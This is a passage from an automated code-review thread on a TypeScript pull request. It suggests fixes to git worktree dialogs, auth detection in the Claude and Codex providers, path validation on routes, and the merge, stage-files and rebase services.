getDiffs) currently only does console.warn and thus silently hides failures;
update the catch to mirror the error handling used when result.success === false
by setting the component error state (call setError or the existing error state
setter), show a user-facing toast with a clear failure message, and optionally
log the full error for debugging; locate the catch in commit-worktree-dialog.tsx
(the try around getDiffs) and replace the console.warn with calls to
setError(...) and the toast helper used elsewhere in this file so the UI
reflects load failures instead of showing "No changes detected".
In
`@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx`:
- Around line 333-340: Add explicit type="button" to the "Select all"/"Deselect
all" button used with handleToggleAll and allSelected to prevent accidental form
submission; give each Checkbox a clear accessible name by adding aria-label or
aria-labelledby that references the corresponding file path button (use the same
unique id used for the file name button so screen readers announce the checkbox
with the file path); and include aria-expanded on the expand/collapse button
(tied to the same boolean that controls the diff preview, e.g., isExpanded or
the per-file expanded state used in the expand toggle handler) so assistive tech
can announce collapsed vs expanded state.
---
Outside diff comments:
In `@apps/server/src/providers/claude-provider.ts`:
- Around line 238-251: The multi-part prompt construction sets session_id: ''
which can break SDK session routing; update the generated multiPartPrompt in
promptPayload to use the real session id (e.g., the sdkSessionId from options or
the existing sessionId variable used by the provider) instead of an empty
string, and fall back to undefined/null only if no valid non-empty session id is
available so SDKUserMessage receives a meaningful session_id for conversation
continuity.
- Around line 314-326: detectInstallation currently sets authenticated based
only on process.env.ANTHROPIC_API_KEY, which is inconsistent with the expanded
auth detection in buildEnv(); update detectInstallation (or delegate to
buildEnv) to treat a user as authenticated if any of the supported paths are
present: process.env.ANTHROPIC_API_KEY, process.env.ANTHROPIC_AUTH_TOKEN,
credentials?.apiKeys?.anthropic (the credentials file path used elsewhere), or
the Claude Max CLI OAuth indicator used by buildEnv (i.e., the same
flag/indicator buildEnv sets for CLI OAuth). Ensure detectInstallation uses the
same boolean logic/utility as buildEnv so all four auth methods report
authenticated: true.
---
Duplicate comments:
In `@apps/server/src/providers/claude-provider.ts`:
- Around line 346-357: Update the model entry for 'claude-sonnet-4-6' in the
provider registry to keep maxOutputTokens set to 64000 and ensure the other
metadata (id, name, modelString, provider, contextWindow, supportsVision,
supportsTools, tier) remains unchanged; verify the object with id
'claude-sonnet-4-6' in claude-provider.ts reflects maxOutputTokens: 64000 and
remove any stale comment or alternate value that previously flagged this as
incorrect.
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 220-226: The returned execution plan currently includes
openAiApiKey even when hasCliNativeAuth is true, which causes Automaker's API
key to override the CLI's OAuth session; update the branch that returns when
cliAvailable && hasCliNativeAuth (the block that returns mode:
CODEX_EXECUTION_MODE_CLI, cliPath, openAiApiKey) to set openAiApiKey to null (or
omit it) whenever hasCliNativeAuth is the reason for selecting the CLI mode so
buildEnv()/envOverrides and the OPENAI_API_KEY_ENV logic (which checks
executionPlan.openAiApiKey) will not inject the Automaker key and will allow the
Codex CLI to use its native stored OAuth token.
In `@apps/server/src/routes/worktree/index.ts`:
- Around line 259-264: The route registration for generate-pr-description is
missing the events argument—pass the same events object used by the other
handlers into createGeneratePRDescriptionHandler so its signature matches
(createGeneratePRDescriptionHandler(settingsService, events)); update the
router.post call that currently uses
createGeneratePRDescriptionHandler(settingsService) to include events and ensure
the handler implementation (generate-pr-description.ts /
createGeneratePRDescriptionHandler) accepts and uses the events parameter.
- Around line 82-87: The merge route is missing worktree path validation: add
validatePathParams('worktreePath') to the middleware chain on the
router.post('/merge', ...) so createMergeHandler(events) runs only after both
'projectPath' and 'worktreePath' are validated; this ensures performMerge
receives a bounded worktreePath (preventing its early-return and avoiding
passing an unvalidated value into the git worktree remove --force call when
deleteWorktreeAndBranch is true).
- Around line 298-304: The previous concern about missing path validation on the
/stage-files route has been resolved by adding
validatePathParams('worktreePath', 'files[]'); confirm that this stays in place
for the router.post('/stage-files', ...) handler alongside requireGitRepoOnly
and createStageFilesHandler(), then remove the duplicate review comment; no code
changes required.
- Around line 132-137: The earlier missing path-param validation for the POST
'/switch-branch' route has been addressed by adding
validatePathParams('worktreePath') to the middleware chain; no functional code
change is required—just confirm that validatePathParams, requireValidWorktree,
and createSwitchBranchHandler(events) are in the correct order and remove the
duplicate review comment/approval marker to avoid noise in the PR thread.
- Around line 216-248: The previous concern that commit-log and stash handlers
didn’t receive the events object is resolved because createCommitLogHandler,
createStashPushHandler, createStashListHandler, createStashApplyHandler, and
createStashDropHandler are all invoked with events; no code changes
required—just mark the review as approved and remove the duplicate review
comment markers ([approve_code_changes] and [duplicate_comment]) from this PR
comment to avoid confusion.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 260-270: Ensure the '{{taskName}}' placeholder has the same
null/undefined fallback as '{{taskDescription}}' by updating both
buildTaskPrompt callbacks (the one used by PipelineOrchestrator and the one used
by ExecutionService) to use task.description || `Task ${task.id}` when replacing
'{{taskName}}'; locate the buildTaskPrompt implementations and change the
.replace(/\{\{taskName\}\}/g, ...) invocation to use that fallback so both
placeholders behave consistently.
In `@apps/server/src/services/merge-service.ts`:
- Around line 36-41: isValidBranchName already enforces the intended guards
(first character excludes '-' and '..' is rejected); no code change
required—leave the function isValidBranchName(name: string) as-is and keep the
/^[a-zA-Z0-9._/][a-zA-Z0-9._\-/]*$/ pattern, the length check (name.length <
250), and the !name.includes('..') traversal check intact.
- Around line 53-60: The performMerge function's emitter parameter needs to be
consistently passed through and used with optional chaining at every emit site;
ensure the emitter argument on performMerge is forwarded to any internal helpers
and that all emits (events 'merge:start', 'merge:conflict', 'merge:error',
'merge:success') are invoked as emitter?.emit(...) so callers without a
subscriber are no-ops; verify functions referenced in this file that call emit
(e.g., any helper functions inside performMerge) accept and use the same emitter
parameter and update them if they currently ignore or create a new EventEmitter.
- Around line 122-146: The code correctly leaves conflictFiles as string[] |
undefined when execGitCommand fails, but we should still surface the underlying
error for debugging: catch the exception thrown by execGitCommand and log it
(including context like branchName and mergeTo) before leaving conflictFiles
undefined; reference the execGitCommand call that populates conflictFiles, the
conflictFiles variable, and the emitter.emit('merge:conflict', { branchName,
targetBranch: mergeTo, conflictFiles }) line so you add a concise
processLogger.error or similar log inside the catch with the error object and
relevant branch context.
In
`@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx`:
- Around line 191-235: All previously flagged issues are already fixed: ensure
the cancellation guard in the useEffect loadDiffs closure remains (the cancelled
flag and cleanup return), keep the getDiffs failure path using
setError(result.error || 'Failed to fetch diffs') inside loadDiffs, and continue
to compute fileCount using selectedFiles.size as the authoritative fallback; no
code changes required but verify these symbols (useEffect -> loadDiffs,
cancelled, getDiffs, setError, selectedFiles.size) remain unchanged before
merging.
---
Nitpick comments:
In `@apps/server/src/providers/claude-provider.ts`:
- Around line 8-19: Move the executable logger initialization out of the middle
of the import blocks: remove the interleaved line "const logger =
createLogger('ClaudeProvider')" and place it after all import declarations
(after the imports that include BaseProvider, createLogger,
getThinkingTokenBudget, validateBareModelId, and the type imports). Ensure the
symbol logger is created using createLogger('ClaudeProvider') only once and that
all references in ClaudeProvider (e.g., within methods on the
BaseProvider-derived class or helper functions) use this single, post-import
logger variable.
In `@apps/server/src/providers/codex-provider.ts`:
- Around line 885-888: The user-visible tip assigned to enhancedError hardcodes
model names (e.g., gpt-5.3-codex, gpt-5.1) which will drift; update the message
in codex-provider.ts to avoid concrete model identifiers by either inserting a
dynamic reference to the available list (CODEX_MODELS) or linking to
documentation—refer to enhancedError and options.model when composing the
message so it reads like: model '{options.model}' may not be available; suggest
choosing from CODEX_MODELS or visiting the docs for current compatible models
and mention using 'codex login' for OAuth instead of an API key.
In `@apps/server/src/routes/worktree/routes/stage-files.ts`:
- Around line 18-122: Extract the path canonicalization, path-traversal
validation, and git invocation out of createStageFilesHandler into a new service
(e.g., stageFilesService or add to worktreeService) that exposes a single async
function like stageFiles(worktreePath: string, files: string[], operation:
'stage'|'unstage'): Promise<{operation:string, filesCount:number}>; move the
realpath resolving, base/resolved checks, sanitization logic that currently
lives in createStageFilesHandler and call execGitCommand(...) from inside that
service (use the same sanitizedFiles array and same git args for 'add' and
'reset' cases); keep createStageFilesHandler minimal so it only validates the
basic request shape, calls stageFilesService.stageFiles(...), and returns the
service result or error, and export the new service function for use by other
handlers.
In `@apps/server/src/services/auto-mode/facade.ts`:
- Around line 212-221: The condition uses "resolvedModel && settingsService" but
resolveModelString(model, ...) always returns a non-empty string so
"resolvedModel &&" is redundant; update both runAgentFn closures to remove the
redundant guard and use "if (settingsService) { ... }" (or equivalent) where you
currently reference resolvedModel in the condition, keeping the rest of the
logic that uses resolvedModel, provider (ProviderFactory.getProviderForModel),
effectiveBareModel (stripProviderPrefix), claudeCompatibleProvider and
credentials unchanged.
- Around line 199-274: Both PipelineOrchestrator and ExecutionService define
identical runAgentFn closures (model resolution via
resolveModelString/stripProviderPrefix, provider/credentials lookup via
getProviderByModelId, calling agentExecutor.execute with the same payload, and
the same buildTaskPrompt logic); extract this shared logic into a single
helper/factory (e.g., createRunAgentFn or runAgentHelper) that accepts the
differing minimal inputs (workDir, featureId, prompt, abortController, pPath,
imagePaths, model, opts) plus injected collaborators (agentExecutor,
settingsService, planApprovalService, featureStateManager) and returns/executes
the agent run; replace both inline closures in PipelineOrchestrator and
ExecutionService with calls to that helper, keeping opts typing flexible (union
or generic) and preserving usage of resolveModelString, getProviderByModelId,
stripProviderPrefix, and the buildTaskPrompt implementation.
In `@apps/server/src/services/merge-service.ts`:
- Around line 197-208: The second guard calling isValidBranchName at the branch
deletion site is redundant because branchName was already validated earlier
(line ~71) and code would have returned on invalid names; remove the inner
isValidBranchName check and its unreachable logger.warn branch, keeping the else
path that executes execGitCommand(['branch','-D', branchName], projectPath),
sets branchDeleted = true, and preserves the try/catch that logs failures via
logger.warn; update the block around execGitCommand, branchDeleted, and
logger.warn accordingly so deletion runs for non-main/master branches without
the redundant validation.
In `@apps/server/src/services/pull-service.ts`:
- Around line 106-142: popStash and tryPopStash use execGitCommand but must use
execGitCommandWithLockRetry to avoid failing on stale index.lock; update both
functions so popStash returns await execGitCommandWithLockRetry(['stash',
'pop'], worktreePath) (keeping the same return value) and change the call inside
tryPopStash to await execGitCommandWithLockRetry(['stash', 'pop'], worktreePath)
so the retry/lock logic is used during stash reapplication while preserving the
existing error handling and logging in tryPopStash.
- Around line 294-299: The return objects in pull-service.ts use the implicit
omission pattern "stashRecoveryFailed || undefined", which hides false values;
replace each occurrence (the stashRecoveryFailed usage in the return that
constructs the error response and the similar uses at the other return sites)
with an explicit expression — e.g. use a ternary to set stashRecoveryFailed:
stashRecoveryFailed ? stashRecoveryFailed : undefined or always include the
boolean like stashRecoveryFailed: !!stashRecoveryFailed — update the return
object(s) where stashRecoveryFailed is referenced so the field presence/absence
is explicit and consistent.
In `@apps/server/src/services/worktree-branch-service.ts`:
- Around line 135-141: The fetchRemotes function currently calls
execGitCommand(['fetch','--all','--quiet'], cwd) with no timeout; update
fetchRemotes to enforce a process-level timeout (e.g., create an AbortSignal via
AbortSignal.timeout(ms) or use the project's existing timeout wrapper) and pass
that signal into execGitCommand (or its wrapper) so the fetch is aborted after
the configured duration, then catch and handle the abort error specifically
(distinguish it from other errors) while preserving the existing behavior of
ignoring non-timeout fetch errors; reference the fetchRemotes function and the
execGitCommand call when making the change.
In `@apps/ui/src/components/ui/git-diff-panel.tsx`:
- Around line 989-1016: The JSX calls getStagingState(file) twice in the
fallback branch, causing redundant computation; cache the result by calling
const stagingState = getStagingState(file) (or similar) before the render
decisions and then use stagingState === 'staged' || stagingState === 'partial'
in the conditional that decides whether to show the Unstage or Stage Button;
keep existing checks for stagingInProgress.has(file.path) and the onClick
handlers handleUnstageFile(file.path) / handleStageFile(file.path) unchanged.
- Around line 528-737: The handlers handleStageFile, handleUnstageFile,
handleStageAll and handleUnstageAll repeat the same staging logic; extract a
single async helper (e.g. executeStagingAction) that accepts (action:
'stage'|'unstage', paths: string[], successMessage: string, failurePrefix:
string) and encapsulates: validation of worktreePath/projectPath, toggling
stagingInProgress, selecting api.worktree.stageFiles vs api.git.stageFiles,
error/toast handling, calling loadDiffs and clearing stagingInProgress in
finally; then simplify handleStageFile/handleUnstageFile to call
executeStagingAction(action, [filePath], 'File staged'/'File unstaged', 'Failed
to stage/unstage file') and handleStageAll/handleUnstageAll to call it with
allPaths and appropriate messages — keep the existing toast messages and error
branches inside the helper and reuse the same result shape checks.
In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx`:
- Line 106: Remove the dead comment that states "// parseDiff is imported from
`@/lib/diff-utils`" — it's redundant because the import for parseDiff is present
(see the import of parseDiff near the top, line with the parseDiff symbol). Edit
commit-worktree-dialog.tsx to delete that comment so the file only contains
useful comments and no self-evident notes.
In
`@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx`:
- Line 105: Remove the stale inline comment that says "// parseDiff is imported
from `@/lib/diff-utils`" in discard-worktree-changes-dialog.tsx; locate the
comment near the usage/imports around the parseDiff symbol (parseDiff import at
line where parseDiff is declared) and delete that redundant comment so only the
real import and usage of parseDiff remain.
- Around line 116-135: bgClass, textClass, and prefix are defined inside the
rendering scope (e.g., in the DiffLine component) causing per-render object
allocations; move these three lookup maps to module scope as top-level consts
(outside the DiffLine function/component) and keep their keys/names the same so
existing references in DiffLine (bgClass, textClass, prefix) continue to work
without modification, eliminating the per-call allocations.
apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx
Outdated
Show resolved
Hide resolved
apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx
Show resolved
Hide resolved
|
@coderabbitai review |
✅ Actions performedReview triggered.
|
There was a problem hiding this comment.
Actionable comments posted: 13
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
apps/server/src/providers/claude-provider.ts (1)
237-252:⚠️ Potential issue | 🔴 CriticalBuild-breaking type error:
session_id: string | undefinedis not assignable toSDKUserMessage.session_id: stringThe official SDK defines
SDKUserMessageas{ type: "user"; uuid?: UUID; session_id: string; message: APIUserMessage; parent_tool_use_id: string | null; }—session_idis a requiredstring, notstring | undefined.Line 244 writes
session_id: sdkSessionId || undefined, which producesstring | undefined. TypeScript rejects the entire async generator as non-assignable toAsyncIterable<SDKUserMessage>, which is exactly the error reported in both pipeline failures (TS2322 at line 241).Additionally, the
messagefield is typed as an inline object literal rather thanAPIUserMessage, contributing to the structural mismatch.Fix
session_idto always be astringand cast the yield toSDKUserMessage:🐛 Proposed fix
- const multiPartPrompt = { + const multiPartPrompt: SDKUserMessage = { type: 'user' as const, - session_id: sdkSessionId || undefined, + session_id: sdkSessionId ?? '', message: { role: 'user' as const, content: prompt, - }, + } as SDKUserMessage['message'], parent_tool_use_id: null, }; yield multiPartPrompt;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/providers/claude-provider.ts` around lines 237 - 252, The async generator assigned to promptPayload yields an object that must conform exactly to SDKUserMessage: make session_id a string (e.g. use sdkSessionId ?? '' so it is never undefined) and ensure the message field matches APIUserMessage (or cast the whole yielded object to SDKUserMessage) so the AsyncIterable<SDKUserMessage> type-checks; update the yield in the generator inside the multi-part prompt branch to produce a properly typed SDKUserMessage (either by constructing message as an APIUserMessage or by appending "as SDKUserMessage" to the yielded object).
🧹 Nitpick comments (24)
apps/ui/src/components/ui/git-diff-panel.tsx (2)
635-646: Unnecessary dependencies inuseCallbackarrays.
handleStageAllandhandleUnstageAllonly referencefilesandexecuteStagingActionin their bodies. The extra deps (worktreePath,projectPath,useWorktrees) are already captured insideexecuteStagingActionand just cause superfluous re-creations.♻️ Trim dependency arrays
- }, [worktreePath, projectPath, useWorktrees, files, executeStagingAction]); + }, [files, executeStagingAction]);Apply to both
handleStageAll(line 646) andhandleUnstageAll(line 659).Also applies to: 648-659
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 635 - 646, The dependency arrays for the callbacks handleStageAll and handleUnstageAll include unnecessary items (worktreePath, projectPath, useWorktrees) that are already captured by executeStagingAction; reduce each useCallback deps array to only the true dependencies (files and executeStagingAction) so the callbacks don't re-create unnecessarily—update the useCallback declarations for handleStageAll and handleUnstageAll to list only files and executeStagingAction.
893-945: Fallback section duplicates staging UI fromFileDiffSection.Lines 907–945 re-implement the staging badge + stage/unstage button logic already present in
FileDiffSection. This means two places to update if the staging UI changes. Additionally,getStagingState(file)is called three times (lines 907, 920, 921) for the same file object — it should be computed once and reused.Consider extracting the per-file staging controls into a small shared component or at minimum caching the staging state:
♻️ Quick fix — cache the staging state in the fallback loop
{files.map((file) => { + const stagingState = getStagingState(file); return ( <div key={file.path} className="border border-border rounded-lg overflow-hidden" > <div className="w-full px-3 py-2 flex items-center gap-2 text-left bg-card"> {getFileIcon(file.status)} <TruncatedFilePath path={file.path} className="flex-1 text-sm font-mono text-foreground" /> - {enableStaging && <StagingBadge state={getStagingState(file)} />} + {enableStaging && <StagingBadge state={stagingState} />} {/* ... status badge ... */} {enableStaging && ( <div className="flex items-center gap-1 ml-1"> {stagingInProgress.has(file.path) ? ( <Spinner size="sm" /> - ) : getStagingState(file) === 'staged' || - getStagingState(file) === 'partial' ? ( + ) : stagingState === 'staged' || + stagingState === 'partial' ? ( {/* unstage button */} ) : ( {/* stage button */} )} </div> )} </div> </div> ); })}Longer-term, extracting the stage/unstage button cluster into a shared component would eliminate the duplication with
FileDiffSection.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/ui/git-diff-panel.tsx` around lines 893 - 945, The fallback block duplicates the staging UI from FileDiffSection and repeatedly calls getStagingState(file); fix by computing the staging state once and reusing it (e.g., const stagingState = getStagingState(file)) and replacing repeated calls with stagingState, and then extract the repeated badge + button cluster into a small shared component (e.g., FileStagingControls) that renders StagingBadge, Spinner (using stagingInProgress.has(file.path)), and the Stage/Unstage Buttons which call handleStageFile/handleUnstageFile; use this shared component in both the fallback loop and FileDiffSection to remove duplication and ensure a single update point.apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx (4)
471-513: Minor a11y gap: expand/collapse button lacksaria-expandedand file-row label.Screen readers won't convey the expanded state of the diff panel. Consider adding
aria-expanded={isExpanded}to the button and anaria-labelreferencing the file path.♿ Proposed fix
<button onClick={() => handleFileClick(file.path)} className="flex items-center gap-2 flex-1 min-w-0 text-left" + aria-expanded={isExpanded} + aria-label={`${file.path} - ${getStatusLabel(file.status)}`} >🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` around lines 471 - 513, The expand/collapse button that calls handleFileClick is missing accessibility attributes; update the button element wrapping TruncatedFilePath to include aria-expanded={isExpanded} and an aria-label that references the file path (e.g., `aria-label={`Toggle diff for ${file.path}`}`) so screen readers announce the expanded state and which file is being toggled; keep the existing click handler and visual children (ChevronDown/ChevronRight, icons, badges) unchanged.
49-104: Consider consolidating the three status-mapping helpers into a single lookup.
getFileIcon,getStatusLabel, andgetStatusBadgeColorall switch on identical status-code groupings. A singleSTATUS_CONFIGrecord mapping each code to{ icon, label, badgeColor }would eliminate the triplicated switch structure and make it easier to add new statuses consistently.♻️ Proposed consolidation
+const STATUS_CONFIG: Record<string, { icon: React.ReactNode; label: string; badgeColor: string }> = { + A: { icon: <FilePlus className="w-3.5 h-3.5 text-green-500 flex-shrink-0" />, label: 'Added', badgeColor: 'bg-green-500/20 text-green-400 border-green-500/30' }, + '?': { icon: <FilePlus className="w-3.5 h-3.5 text-green-500 flex-shrink-0" />, label: 'Untracked', badgeColor: 'bg-green-500/20 text-green-400 border-green-500/30' }, + D: { icon: <FileX className="w-3.5 h-3.5 text-red-500 flex-shrink-0" />, label: 'Deleted', badgeColor: 'bg-red-500/20 text-red-400 border-red-500/30' }, + M: { icon: <FilePen className="w-3.5 h-3.5 text-amber-500 flex-shrink-0" />, label: 'Modified', badgeColor: 'bg-amber-500/20 text-amber-400 border-amber-500/30' }, + U: { icon: <FilePen className="w-3.5 h-3.5 text-amber-500 flex-shrink-0" />, label: 'Updated', badgeColor: 'bg-amber-500/20 text-amber-400 border-amber-500/30' }, + R: { icon: <File className="w-3.5 h-3.5 text-blue-500 flex-shrink-0" />, label: 'Renamed', badgeColor: 'bg-blue-500/20 text-blue-400 border-blue-500/30' }, + C: { icon: <File className="w-3.5 h-3.5 text-blue-500 flex-shrink-0" />, label: 'Copied', badgeColor: 'bg-blue-500/20 text-blue-400 border-blue-500/30' }, +}; + +const DEFAULT_STATUS = { + icon: <FileText className="w-3.5 h-3.5 text-muted-foreground flex-shrink-0" />, + label: 'Changed', + badgeColor: 'bg-muted text-muted-foreground border-border', +}; + +const getStatusConfig = (status: string) => STATUS_CONFIG[status] ?? DEFAULT_STATUS;Then replace
getFileIcon(file.status)→getStatusConfig(file.status).icon, etc.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` around lines 49 - 104, Consolidate the three switch-based helpers by creating a single STATUS_CONFIG lookup object that maps each status code (e.g., 'A','?','D','M','U','R','C', default) to an object with keys icon, label, and badgeColor, then replace getFileIcon, getStatusLabel, and getStatusBadgeColor to return values from a shared getStatusConfig(status) (or inline reads like STATUS_CONFIG[status] ?? STATUS_CONFIG.default) so callers use getStatusConfig(status).icon / .label / .badgeColor; update the existing functions (getFileIcon, getStatusLabel, getStatusBadgeColor) to delegate to this config to preserve API compatibility while removing duplicated switch logic.
337-387: TogglingenableAiCommitMessageswhile the dialog is open clears the user's typed message.The effect's dependency on
enableAiCommitMessagescauses a re-run that resetsmessageto''(line 340). If a user toggles this setting from a global preferences panel while mid-edit, their draft is silently lost. Low probability, but could be avoided by only resetting onopentransitions.♻️ Sketch: guard message reset to dialog-open transitions only
useEffect(() => { if (open && worktree) { - // Reset state - setMessage(''); - setError(null); + // Only reset when dialog freshly opens, not on setting changes + // Message and error are already cleared by the diff-loading effect's open guard + setError(null);Alternatively, split into two effects — one for the open-transition reset and one for AI generation — so the dependency on
enableAiCommitMessagesdoesn't trigger the reset.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` around lines 337 - 387, The effect currently resets state (setMessage(''), setError(null)) whenever any dependency changes including enableAiCommitMessages, which clears a user's draft; modify the logic so the reset only happens when the dialog actually opens (open transitions to true) — e.g., split into two effects: one effect watching only open (and worktree) that performs the reset on open=true, and a separate effect for AI generation that depends on enableAiCommitMessages and calls generateMessage/cancelled; ensure you keep the existing generateMessage logic (api.worktree.generateCommitMessage, cancelled flag, setIsGenerating) unchanged in the AI-generation effect.
441-441: Nested scrollable containers may cause scroll-trapping on mobile.The file list (
max-h-[300px] overflow-y-auto, line 441) contains expanded diffs (max-h-[200px] overflow-y-auto, line 518). On touch devices, the inner scroll container captures swipe events, making it difficult to scroll past an expanded diff in the outer list. Since this PR targets mobile improvements, consider either removing the inner max-height (let the diff contribute to the outer list's scroll) or usingoverscroll-behavior: containon the inner container to improve the scroll-chaining behavior.Also applies to: 518-518
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` at line 441, The nested scrollable containers in CommitWorktreeDialog (the element using the class "max-h-[300px] overflow-y-auto scrollbar-visible" and the expanded-diff container using "max-h-[200px] overflow-y-auto") can trap touch scrolls on mobile; fix by removing the inner max-height on the expanded diffs so they grow into the outer scroll, or alternatively add overscroll-behavior: contain to the inner scrollable container(s) (the elements with "max-h-[200px] overflow-y-auto" and/or "max-h-[300px] overflow-y-auto") so touch scroll chaining is preserved. Ensure the change is applied in the CommitWorktreeDialog component JSX/CSS classes where those exact class strings appear.apps/server/src/services/auto-mode/facade.ts (3)
358-359:_calledInternallyis not unused — drop the underscore prefixThe
_prefix conventionally marks a parameter as intentionally unused, but_calledInternallyis forwarded toresumeFeature. This is a misleading signal to readers and static analysis tools.♻️ Proposed fix
- (pPath, featureId, useWorktrees, _calledInternally) => - getFacade().resumeFeature(featureId, useWorktrees, _calledInternally), + (pPath, featureId, useWorktrees, calledInternally) => + getFacade().resumeFeature(featureId, useWorktrees, calledInternally),🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 358 - 359, The parameter is incorrectly prefixed with an underscore even though it's forwarded to resumeFeature; rename the parameter from _calledInternally to calledInternally in the arrow function (the parameter list that currently reads (pPath, featureId, useWorktrees, _calledInternally)) and update its use in the call to getFacade().resumeFeature(featureId, useWorktrees, calledInternally) so the name accurately reflects it's used and avoids misleading unused annotations.
216-216: Use a named constant instead of hardcoding'claude-sonnet-4-6'as the default model
resolveModelStringis called with a bare string literal. If the default model changes, every call site must be updated manually. The@automaker/model-resolverpackage already exposesDEFAULT_MODELSfor exactly this purpose.♻️ Proposed fix
+import { resolveModelString, DEFAULT_MODELS } from '@automaker/model-resolver'; ... - const resolvedModel = resolveModelString(model, 'claude-sonnet-4-6'); + const resolvedModel = resolveModelString(model, DEFAULT_MODELS.claude);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` at line 216, Replace the hardcoded default model string in the resolveModelString call with the package-provided constant: import DEFAULT_MODELS from '@automaker/model-resolver' (or the named export) and pass the appropriate default (e.g., DEFAULT_MODELS.CLAUDE_SONNET or the property name used in DEFAULT_MODELS) as the second argument to resolveModelString instead of 'claude-sonnet-4-6'; update the imports at the top of facade.ts to include DEFAULT_MODELS and ensure resolveModelString(model, DEFAULT_MODELS.<appropriateKey>) is used so future default-model changes come from the shared constant.
195-196:createRunAgentFnouter factory wrapper adds no value — simplify to a plainconstThe outer
() =>wrapper takes no arguments, captures the exact same closures each time it's called, and is immediately invoked at lines 295 and 343. The result is two identical function instances where one would suffice.♻️ Proposed simplification
- const createRunAgentFn = - () => - async ( + const runAgentFn = async ( workDir: string, ... ): Promise<void> => { ... - }; + };Then at the two call sites:
- createRunAgentFn() + runAgentFn🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-mode/facade.ts` around lines 195 - 196, The outer no-arg wrapper around createRunAgentFn is redundant; redefine createRunAgentFn as the actual function (remove the leading "() =>" that returns the inner function) and then update the two places that currently call createRunAgentFn() (the immediate-invocation sites) to call the function directly (drop the extra invocation), so only a single function instance is created and used.apps/server/src/routes/git/routes/stage-files.ts (1)
5-5: Usefs/promisesimport instead offswith.promisesaccessor.
fs.promises.realpath()is the onlyfsusage and the service already usesimport fs from 'fs/promises'. Align for consistency.-import fs from 'fs'; +import fs from 'fs/promises';Then update line 60 accordingly:
- canonicalRoot = await fs.promises.realpath(projectPath); + canonicalRoot = await fs.realpath(projectPath);(This concern is moot if the handler is refactored to delegate to the service.)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/git/routes/stage-files.ts` at line 5, The file imports the Node fs module as "import fs from 'fs';" but only uses fs.promises.realpath(), so change the import to use the promise-based API ("import fs from 'fs/promises'") and update the realpath call site (the call that currently references fs.promises.realpath(...), around line 60) to call fs.realpath(...) directly; if the handler delegates to the service, ensure the service import/usage is adjusted the same way.apps/server/src/services/stage-files-service.ts (1)
16-19: Narrowoperationreturn type fromstringto'stage' | 'unstage'.
StageFilesResult.operationis typed asstring, but the only possible values are'stage'and'unstage'. Narrowing the type makes the interface self-documenting and lets callers discriminate without casting.export interface StageFilesResult { - operation: string; + operation: 'stage' | 'unstage'; filesCount: number; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/stage-files-service.ts` around lines 16 - 19, The StageFilesResult interface currently declares operation as a generic string; narrow it to the literal union 'stage' | 'unstage' by changing StageFilesResult.operation's type to " 'stage' | 'unstage' " and update any creators/return sites that construct StageFilesResult (factory functions or return statements) to use those exact string literals to satisfy the tighter type and allow callers to discriminate without casting.apps/server/src/services/rebase-service.ts (2)
181-189:abortRebaselogger.warn passes non-string second argument.
logger.warntypically expects a structured metadata object as the second argument. Passingerr.message(a string) orerr(an Error object) directly may not format correctly depending on the logger implementation.Use structured metadata
- logger.warn('Failed to abort rebase after conflict', err instanceof Error ? err.message : err); + logger.warn('Failed to abort rebase after conflict', { + worktreePath, + error: err instanceof Error ? err.message : String(err), + });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 181 - 189, The logger.warn call in abortRebase passes a raw string or Error as the second argument; change it to send structured metadata instead (e.g., an object with keys like error and stack) so the logger can format it correctly. Update the catch block in abortRebase (which calls execGitCommand) to call logger.warn('Failed to abort rebase after conflict', { error: err instanceof Error ? err.message : String(err), stack: err instanceof Error ? err.stack : undefined }) and then return false.
42-173: No event emission — inconsistent with sibling services.
worktree-branch-serviceandmerge-serviceboth accept an optionalEventEmitterand emit lifecycle events (start,error,done/success).rebase-servicedoes not emit any events, which is inconsistent and means the frontend cannot track rebase progress via WebSocket. As per coding guidelines, "All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket."🤖 Prompt for AI Agents
